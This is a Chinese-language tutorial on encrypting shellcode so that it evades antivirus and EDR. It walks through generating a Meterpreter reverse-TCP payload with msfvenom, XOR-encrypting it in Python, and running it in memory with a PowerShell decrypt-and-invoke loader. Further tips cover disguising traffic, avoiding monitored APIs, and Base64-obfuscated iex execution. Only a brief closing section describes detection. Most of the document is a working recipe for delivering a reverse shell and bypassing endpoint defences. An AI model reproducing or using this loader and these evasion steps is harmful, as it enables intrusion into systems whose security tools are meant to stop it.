0x01 Shellcode为何需要加密免杀
Shellcode是渗透测试和攻击过程中不可或缺的核心组件,它通常是攻击者用于执行恶意操作的载荷,包括但不限于获取反向连接、打开后门、提权、横向移动等。然而,现代的EDR(Endpoint Detection and Response)和杀毒软件已经非常擅长检测未加密或未混淆的Shellcode。尤其是基于特征码匹配的检测方法,能够轻松识别公开的或常见的Shellcode。
我们面临的实际问题是:如何让Shellcode逃过检测的眼睛?答案之一就是加密和解密执行。也就是说,在目标系统中执行Shellcode之前,先对它进行加密,在运行时动态解密后再加载执行。通过这种方式,我们可以隐藏Shellcode的真实特征,绕过特征码和行为检测。
接下来,我们将结合技术原理和实战案例,一步步实现一个加密免杀的Shellcode载荷,深入了解它的技术细节和实现过程。
---
0x02 环境搭建与工具准备

在开始实战之前,我们需要准备基本的环境和工具。这次的实验基于Windows平台,目标是绕过常见的杀毒软件和EDR。
所需工具
- Windows测试机(建议版本:Windows 10/11)。
- 安装以下工具:
- Visual Studio Code 或者其他代码编辑器。
- Python3:用于编写Shellcode加密脚本。
- PowerShell:用于实现动态解密和执行。
- Metasploit:用于生成测试Shellcode。
- EDR/杀毒测试:
- 安装一款主流杀毒软件(如Windows Defender或第三方杀毒软件)进行免杀测试。
- 使用Sysmon和Wireshark监控流量和行为。
环境准备
- 使用Metasploit生成一个经典的反向TCP连接Shellcode,用于测试加密免杀效果。
- 验证目标环境中杀毒软件和EDR是否能够检测未加密的Shellcode,记录检测结果。
- 确保安装了Python和PowerShell的运行环境。
一切准备就绪后,我们将从加密Shellcode的构造开始。
---
0x03 Payload构造的艺术
加密免杀的核心思想是对Shellcode进行动态加密和解密。为了实现这一点,我们需要采用以下步骤:
步骤1:生成原始Shellcode
我们先使用Metasploit生成一个反向连接的Shellcode,命令如下:
<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c</code></pre>
生成的Shellcode会以C语言数组的形式输出,类似如下:
<pre><code class="language-c">unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52..."</code></pre>
这段Shellcode是我们攻击的核心载荷,接下来将对其进行加密处理。
步骤2:编写加密脚本
我们使用Python脚本对上述Shellcode进行简单的XOR加密。以下是完整代码:
<pre><code class="language-python">import random
原始Shellcode(从msfvenom生成并复制)
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52..."
随机生成一个加密密钥
key = random.randint(1, 255) print(f"使用的加密密钥: {key}")
对Shellcode进行XOR加密
encrypted_shellcode = bytearray() for byte in shellcode: encrypted_shellcode.append(byte ^ key)

将加密后的Shellcode保存到文件
with open("encrypted_shellcode.bin", "wb") as f: f.write(encrypted_shellcode)
print("加密后的Shellcode已保存到 encrypted_shellcode.bin")</code></pre>
代码说明:
- 利用简单的XOR操作对Shellcode进行加密,避免直接暴露原始字节。
- 随机生成的密钥让加密结果具有不可预测性。
- 加密后的Shellcode存储在二进制文件中。
步骤3:解密与动态加载
为了让加密后的Shellcode在目标系统中运行,我们需要编写一个解密和加载Shellcode的PowerShell脚本。
以下是解密执行的PowerShell代码:
<pre><code class="language-powershell"># 读取加密后的Shellcode $encryptedShellcode = [System.IO.File]::ReadAllBytes("encrypted_shellcode.bin")

使用与加密时相同的密钥解密
$key = 123 # 假设加密时使用的密钥是123 $decryptedShellcode = @() foreach ($byte in $encryptedShellcode) { $decryptedShellcode += ($byte -bxor $key) }
转换为可执行的Shellcode
$buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($decryptedShellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($decryptedShellcode, 0, $buffer, $decryptedShellcode.Length)
调用Shellcode
$exec = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($buffer, [Action]) $exec.Invoke()</code></pre>
代码说明:
- PowerShell脚本从文件中读取加密后的Shellcode并解密。
- 动态加载解密后的Shellcode到内存中执行,避免静态特征暴露。
- 使用Windows内置的内存管理API完成Shellcode加载和运行。
---
0x04 绕过EDR的技巧分享
在实际测试中,单纯的加密并不足以完全绕过高级EDR,以下是一些额外的技巧:
1. 流量伪装
反向连接通常会引起EDR的异常流量告警。我们可以伪装流量为正常HTTP/HTTPS请求,或者使用DNS隧道化操作。
2. API调用规避
许多EDR会监控常见的内存加载API(如VirtualAlloc和CreateRemoteThread)。可以使用不常见的API函数替代,或者通过直接汇编调用规避检测。
3. 加壳/混淆
将PowerShell代码进一步混淆或加壳,加大分析难度。例如,使用工具将代码编译成二进制可执行文件。
以下是PowerShell代码混淆的一个简单示例:
<pre><code class="language-powershell">$encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($originalCode)) iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encoded)))</code></pre>
通过Base64编码和动态解码执行,进一步隐藏代码意图。
---
0x05 检测与对策

虽然攻击者可以使用加密免杀技术绕过检测,但作为防守方,我们依然有以下对策:
1. 行为监控
即使Shellcode加密后无法被特征码检测,解密和执行的行为依然可以被捕获。例如,Sysmon可以记录PowerShell脚本加载行为。
2. 内存扫描
通过EDR对内存中的可执行代码进行实时扫描,检测异常加载的模块。
3. 流量分析
利用网络流量分析工具,捕获和识别异常的反向连接流量。
---
0x06 个人经验分享
在实战中,Shellcode加密免杀是一项非常有效的技术,但它并不是万能的。攻击者需要结合其他技术(如流量伪装、横向移动),才能真正实现目标。同时,防守方需要不断优化检测规则和监控策略,才能与攻击者形成对抗。
这项技术不仅是一种工具,也是攻击者思维的体现。通过反复构造、测试和改进,我们可以在双方的攻防交锋中寻找最优解。